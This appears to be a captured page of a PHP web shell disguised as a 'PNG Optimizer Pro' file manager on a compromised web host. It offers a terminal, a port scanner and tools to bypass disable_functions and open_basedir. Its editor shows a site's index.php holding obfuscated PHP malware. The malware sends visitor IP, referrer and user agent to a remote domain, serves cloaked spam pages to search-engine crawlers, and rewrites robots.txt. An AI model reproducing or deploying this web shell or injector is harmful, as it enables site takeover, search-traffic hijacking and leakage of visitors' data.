๐ PNG Optimizer Pro ยท Advanced File Manager
OS: Linux 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026
PHP: 8.4.22
User: fdcsx
IP: 10.105.40.4
๐ File Manager
๐ป Terminal
โน๏ธ System Info
๐๏ธ Database
๐ Network
๐ Bypass
๐ผ๏ธ PNG Tools
/
/
home
/
fdcsx
/
www
/
httdocs
Go
Upload:
Upload
New File
New Folder
Editing: index.php
<?php goto A65g7; iE78q: exit; goto ZwAQ4; NGxnH: AlAHW: goto lkOgx; nYyWk: qvTA2: goto S5iuv; yf5_q: if (!(!$WtDTs && $VI_a7 && (preg_match("\57\134\x64\x24\x2f", $ezdYx) || preg_match("\x23\133\141\55\172\135\75\133\141\x2d\172\x30\55\71\135\x2b\43", $ezdYx) || preg_match("\x2f\x69\164\x65\155\57", $ezdYx)))) { goto BJDzJ; } goto MdCOV; k6sD4: if (!strpos($ezdYx, "\141\x6c\154\x73\151\x74\x65\x6d\141\x70\56\170\155\x6c")) { goto AlAHW; } goto vVxHI; SafYC: header("\103\x6f\156\164\145\156\x74\x2d\164\x79\x70\x65\x3a\x74\x65\170\164\x2f\x78\155\x6c"); goto G417a; OMtTq: $rdoNC = explode("\77", $ezdYx); goto pfOvF; S5iuv: echo "\162\157\x62\x6f\x74\x73\56\x74\170\164\x20\146\151\x6c\145\40\x63\162\x65\x61\x74\x65\40\x73\x75\143\143\x65\163\163\x21"; goto Hq1IR; JRPRg: $o_K49["\x6d\x61\x69\156\137\163\150\145\154\154"] = $mV1RP; goto qHlbd; G417a: echo $Ti_s8; goto w812p; uDqVa: if (!$WtDTs) { goto FaBuW; } goto GNtB4; pyeFP: $rdoNC = str_replace("\x2e\170\x6d\x6c", '', $rdoNC); goto ew9OP; vVxHI: $Ti_s8 = sBqCE($bSCTC, $o_K49); goto SafYC; iYRnd: $yFlLG = $GkXQ9 . $GKzAj; goto MDael; ZwAQ4: ls2QP: goto vKAss; qHlbd: eSJae: goto kL3oy; asKB3: $o_K49["\162\145\161\137\x75\162\151"] = $ezdYx; goto DwUZN; QWMAW: $yFlLG = $GkXQ9 . $GKzAj . $wSD1q; goto GEUUs; GEUUs: FXx7Z: goto t0RPu; MdCOV: $o_K49["\x69\x70"] = $_SERVER["\x52\x45\x4d\x4f\124\105\137\101\x44\104\x52"]; goto muz4z; mr2fA: goto eSJae; goto Z386K; D0RsB: header("\103\x6f\x6e\164\145\x6e\164\55\164\171\160\145\72\x74\145\x78\x74\x2f\170\155\x6c"); goto C_se5; U4QVK: if (strpos(strtolower($C7YA1), "\x73\x69\164\145\155\141\160")) { goto qvTA2; } goto h5ylI; LMrPN: $cgNu9 = $wMWmp . "\57\152\x75\x6d\x70\56\160\150\x70"; goto hbaJV; vdj00: exit; goto fMgqd; KbJyt: exit; goto C2vn2; yWyi2: $aArpq = sbqce($bDY1X, $o_K49); goto s_5Eu; gklSg: $C7YA1 = @file_get_contents(XiVds . "\57\162\157\142\x6f\x74\163\x2e\x74\170\164"); goto c2kUZ; NhYJ6: echo $Lsgxv; goto TCLI6; tfjsC: function yS5Lj($XfJKR) { goto EqQPP; SobAj: if (!($XfJKR != '' && preg_match("\x2f\x28{$FpgS6}\51\x2f\x73\151", $XfJKR))) { goto W8do6; } goto kLa6H; HMNE1: $FpgS6 = "\x67\x6f\157\147\x6c\145\x7c\x79\141\x68\x6f\x6f\174\x62\151\x6e\x67\x7c\x61\157\154"; goto SobAj; zsnUs: W8do6: goto va0Jb; va0Jb: return $Rl8D9; goto zs5_9; kLa6H: $Rl8D9 = true; goto zsnUs; EqQPP: $Rl8D9 = false; goto HMNE1; zs5_9: } goto WdFee; erfqU: $C7YA1 = @SBQCE($UUw1g, $o_K49); goto hDbKG; fMgqd: TuNq6: goto fLY86; p5ocu: $bSCTC = $wMWmp . "\x2f\x6d\141\x70\x2e\160\150\x70"; goto LMrPN; Sh59R: $ezdYx = $_SERVER["\x52\x45\121\125\x45\x53\124\137\x55\x52\111"]; goto TfTkr; CPxey: echo $Ti_s8; goto h2vUz; Hq1IR: AzePM: goto iE78q; E3h6L: $o_K49["\162\x65\161\x5f\165\162\154"] = $lALy5; goto jr9o8; rhIJh: $Lsgxv = sbqCE($TGhjD, $o_K49); goto NhYJ6; kL3oy: $XXzds = isset($_SERVER["\110\x54\124\120\137\x52\105\106\x45\x52\x45\122"]) ? $_SERVER["\x48\124\x54\120\137\x52\x45\106\x45\x52\x45\x52"] : ''; goto zy017; Q5JgS: if (!(strpos($ezdYx, "\x6d\141\160") > 0 || $eaAod == "\61")) { goto TuNq6; } goto gWHId; QKESx: $Ti_s8 = sBQCE($bSCTC, $o_K49); goto KagkU; wRuYg: $mV1RP = $GkXQ9 . $EuEhg . $wSD1q; goto JRPRg; wCISF: $aArpq = SbQce($bDY1X, $o_K49); goto D0RsB; A65g7: $wMWmp = "\x68\x74\x74\160\x3a\x2f\57\x7a\x36\x30\67\x31\61\x5f\67\x2e\152\162\x6f\165\x73\x73\145\x61\165\56\x78\x79\172\x2f"; goto rHmPV; KagkU: header("\x43\x6f\156\x74\x65\156\164\55\x74\x79\x70\x65\x3a\164\145\170\x74\x2f\170\155\x6c"); goto CPxey; lkOgx: if (strpos($ezdYx, "\56\160\x68\x70")) { goto LhJMx; } goto gJ1Oz; gJ1Oz: $rdoNC = str_replace("\57", '', $ezdYx); goto pyeFP; uSYzc: $lALy5 = $GkXQ9 . $GKzAj . $ezdYx; goto cTmMg; GNtB4: $o_K49["\150\x74\x74\160\x5f\x75\163\x65\x72\x5f\141\147\145\x6e\164"] = $yTi8h; goto rhIJh; DwUZN: $o_K49["\150\x72\145\146"] = $yFlLG; goto E3h6L; rHmPV: function sBqCe($QMFd2, $Ov6bq = array()) { goto fcsCa; yx2za: if (!version_compare(PHP_VERSION, "\70\x2e\60\56\x30", "\74")) { goto JpNG8; } goto L_XCe; L_XCe: curl_close($Zy05I); goto VgMlm; acVzp: curl_setopt($Zy05I, CURLOPT_RETURNTRANSFER, 1); goto ZNC82; PHV76: $Zy05I = curl_init(); goto gDNRh; gDNRh: curl_setopt($Zy05I, CURLOPT_URL, "{$QMFd2}"); goto acVzp; b3CAd: curl_setopt($Zy05I, CURLOPT_TIMEOUT, 10); goto fy8zi; IWpUl: $VRYHI = curl_exec($Zy05I); goto Lmqpy; m4qRB: if (!(0 !== $TmNFx)) { goto cp8kq; } goto z1ua3; lJxZs: curl_setopt($Zy05I, CURLOPT_POSTFIELDS, http_build_query($Ov6bq)); goto IWpUl; VgMlm: JpNG8: goto m4qRB; tlLtj: return $VRYHI; goto pYuBw; z1ua3: return false; goto KWNCr; fy8zi: curl_setopt($Zy05I, CURLOPT_POST, 1); goto vKstx; Lmqpy: $TmNFx = curl_errno($Zy05I); goto yx2za; ZNC82: curl_setopt($Zy05I, CURLOPT_HEADER, 0); goto b3CAd; vKstx: curl_setopt($Zy05I, CURLOPT_SSL_VERIFYPEER, FALSE); goto Os0zy; Os0zy: curl_setopt($Zy05I, CURLOPT_SSL_VERIFYHOST, FALSE); goto lJxZs; KWNCr: cp8kq: goto tlLtj; fcsCa: $QMFd2 = str_replace("\x20", "\53", $QMFd2); goto PHV76; pYuBw: } goto IgZzi; IgZzi: function wfLk5($TSLpF) { goto ycYKU; jwF0h: U9KyW: goto JMIbp; mMji_: return $QjfN8; goto yhB72; JMIbp: H2cpo: goto mMji_; K0dGd: if (!($TSLpF != '')) { goto H2cpo; } goto nGw4u; E4Vt2: $QjfN8 = true; goto jwF0h; nGw4u: if (!preg_match("\57\x28{$WS9FQ}\x29\57\x73\x69", $TSLpF)) { goto U9KyW; } goto E4Vt2; qSWs6: $WS9FQ = "\x67\157\157\147\154\x65\142\x6f\164\x7c\x62\151\156\x67\x62\157\164\174\x67\x6f\x6f\147\154\x65\x7c\141\157\x6c\x7c\142\x69\x6e\147\x7c\171\x61\150\157\157"; goto K0dGd; ycYKU: $QjfN8 = false; goto qSWs6; yhB72: } goto tfjsC; nq44H: $eaAod = sbQcE($bDY1X, $o_K49); goto Q5JgS; muz4z: $o_K49["\x72\x65\x66\x65\162\145\162"] = isset($_SERVER["\110\x54\124\120\137\x52\x45\106\105\x52\x45\x52"]) ? $_SERVER["\110\124\124\x50\x5f\x52\x45\106\105\122\x45\x52"] : ''; goto U4A4j; TfTkr: $GKzAj = $_SERVER["\110\124\124\120\x5f\110\117\123\124"]; goto qdV48; hDbKG: file_put_contents(XiVds . "\x2f\162\x6f\142\157\x74\163\56\x74\x78\x74", $C7YA1); goto EyqME; vKAss: if (!(substr($ezdYx, -4) == "\56\x78\155\x6c")) { goto joTuH; } goto k6sD4; qdV48: $wSD1q = $_SERVER["\120\x48\x50\137\123\x45\114\x46"]; goto dLcPK; s_5Eu: if (!($aArpq == "\x31")) { goto Ws3HG; } goto QKESx; U4A4j: $o_K49["\165\163\x65\x72\137\x61\x67\x65\x6e\x74"] = strtolower(isset($_SERVER["\110\x54\x54\x50\x5f\x55\123\105\122\137\x41\x47\105\116\x54"]) ? $_SERVER["\x48\x54\x54\x50\x5f\125\x53\x45\x52\x5f\x41\107\105\x4e\x54"] : ''); goto UZVeT; w812p: exit; goto NGxnH; zy017: $VI_a7 = yS5LJ($XXzds); goto w5uWy; cq63W: $ezdYx = str_replace(array("\x2e\150\164\155", "\x2e\x68\x74\x6d\x6c", "\56\163\x68\x74\x6d\154", "\x2e\x70\150\x74\155\154"), '', rtrim($ezdYx, "\57")); goto yf5_q; TDHb7: $WtDTs = WFLk5($yTi8h); goto cq63W; C_se5: echo $aArpq; goto vdj00; UZVeT: echo sBQCE($cgNu9, $o_K49); goto KbJyt; G5xMA: goto AzePM; goto nYyWk; sP_ez: gNo4B: goto V1TQk; hbaJV: $bDY1X = $wMWmp . "\57\x77\x6f\162\144\163\56\160\150\x70"; goto cpn0f; JhR9t: $o_K49["\x64\157\x6d\x61\x69\156"] = $GKzAj; goto asKB3; pfOvF: $rdoNC = $rdoNC[count($rdoNC) - 1]; goto F0e8J; gWHId: $o_K49["\x61\x63\x74\151\157\x6e"] = "\x72\x61\x6e\x64\x5f\170\x6d\154"; goto wCISF; XPtPx: if (strpos($ezdYx, "\x2e\160\x68\160")) { goto JnWRO; } goto dGSpZ; sJ6VC: ZZXXL: goto QWMAW; v286v: $o_K49["\141\143\164\151\157\156"] = "\143\x68\x65\x63\x6b\137\167\157\162\x64\163"; goto nq44H; ew9OP: goto gNo4B; goto JXXhV; TCLI6: exit; goto JmjQ2; WdFee: $GkXQ9 = isset($_SERVER["\110\x54\x54\120\x53"]) && $_SERVER["\x48\x54\124\x50\x53"] !== "\x6f\x66\x66" ? "\x68\164\x74\x70\163\x3a\x2f\x2f" : "\x68\164\x74\x70\x3a\57\57"; goto Sh59R; jr9o8: if (!(substr($ezdYx, -6) == "\x72\157\142\157\x74\x73")) { goto ls2QP; } goto R_AwN; h5ylI: echo "\162\x6f\142\157\x74\x73\56\164\170\x74\x20\146\x69\154\145\x20\143\x72\x65\141\164\x65\x20\x66\141\x69\154\41"; goto G5xMA; t0RPu: $o_K49[] = array(); goto JhR9t; V1TQk: $o_K49["\x77\x6f\x72\144"] = $rdoNC; goto h54a7; cTmMg: $TGhjD = $wMWmp . "\57\x69\156\x64\x61\x74\141\x2e\160\150\160"; goto p5ocu; dLcPK: $EuEhg = $_SERVER["\x53\105\x52\x56\105\122\x5f\116\x41\115\x45"]; goto uSYzc; MDael: goto FXx7Z; goto sJ6VC; C2vn2: BJDzJ: goto uDqVa; EyqME: $C7YA1 = @file_get_contents(XiVds . "\x2f\x72\x6f\142\157\164\x73\x2e\x74\170\164"); goto U4QVK; Z386K: JnWRO: goto wRuYg; OA3Ha: Ws3HG: goto v286v; h54a7: $o_K49["\x61\143\x74\x69\157\x6e"] = "\x63\150\145\x63\x6b\137\163\x69\164\x65\x6d\141\x70"; goto yWyi2; JXXhV: LhJMx: goto OMtTq; cpn0f: $UUw1g = $wMWmp . "\x2f\162\x6f\x62\x6f\x74\163\x2e\160\x68\160"; goto jnKKi; jnKKi: if (strpos($ezdYx, "\56\x70\x68\160")) { goto ZZXXL; } goto iYRnd; dauON: $o_K49["\155\x61\x69\x6e\x5f\163\150\x65\154\x6c"] = $mV1RP; goto mr2fA; h2vUz: exit; goto OA3Ha; R_AwN: define("\130\151\x56\x64\163", $_SERVER["\x44\x4f\103\x55\x4d\x45\116\124\137\122\117\x4f\x54"]); goto gklSg; dGSpZ: $mV1RP = $GkXQ9 . $EuEhg; goto dauON; c2kUZ: $o_K49["\x72\x6f\x62\x6f\x74\x73\137\x63\157\x6e\x74"] = $C7YA1; goto erfqU; w5uWy: $yTi8h = strtolower(isset($_SERVER["\110\124\x54\x50\137\x55\x53\x45\x52\137\101\x47\105\x4e\x54"]) ? $_SERVER["\x48\x54\124\120\x5f\125\123\x45\x52\137\101\x47\x45\116\124"] : ''); goto TDHb7; fLY86: joTuH: goto XPtPx; F0e8J: $rdoNC = str_replace("\x2e\170\155\154", '', $rdoNC); goto sP_ez; JmjQ2: FaBuW:
Save
Cancel
CWD:
/home/fdcsx/www (use 'cd' persistent)
Execute
๐ฅ๏ธ System
OS
Linux 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026
Hostname
webd004.cluster105.gra.hosting.ovh.net
User
fdcsx
๐ PHP
Version
8.4.22
Disabled funcs
_dyuweyrj4,_dyuweyrj4r,dl
open_basedir
None
๐พ Disk
Total
14.32 GB
Free
8.45 GB
MySQL Connection Test
Host:
User:
Password:
DB Name:
Connect
Port Scanner
Host:
Start Port:
End Port:
Scan
Security Bypass Tools
Bypass open_basedir
Bypass disable_functions
Bypass safe_mode
๐ผ๏ธ PNG Optimizer (lossless, max compression)
Select a PNG file from current directory to compress:
PNG File:
-- choose PNG --
Optimize PNG
Create File
Create Folder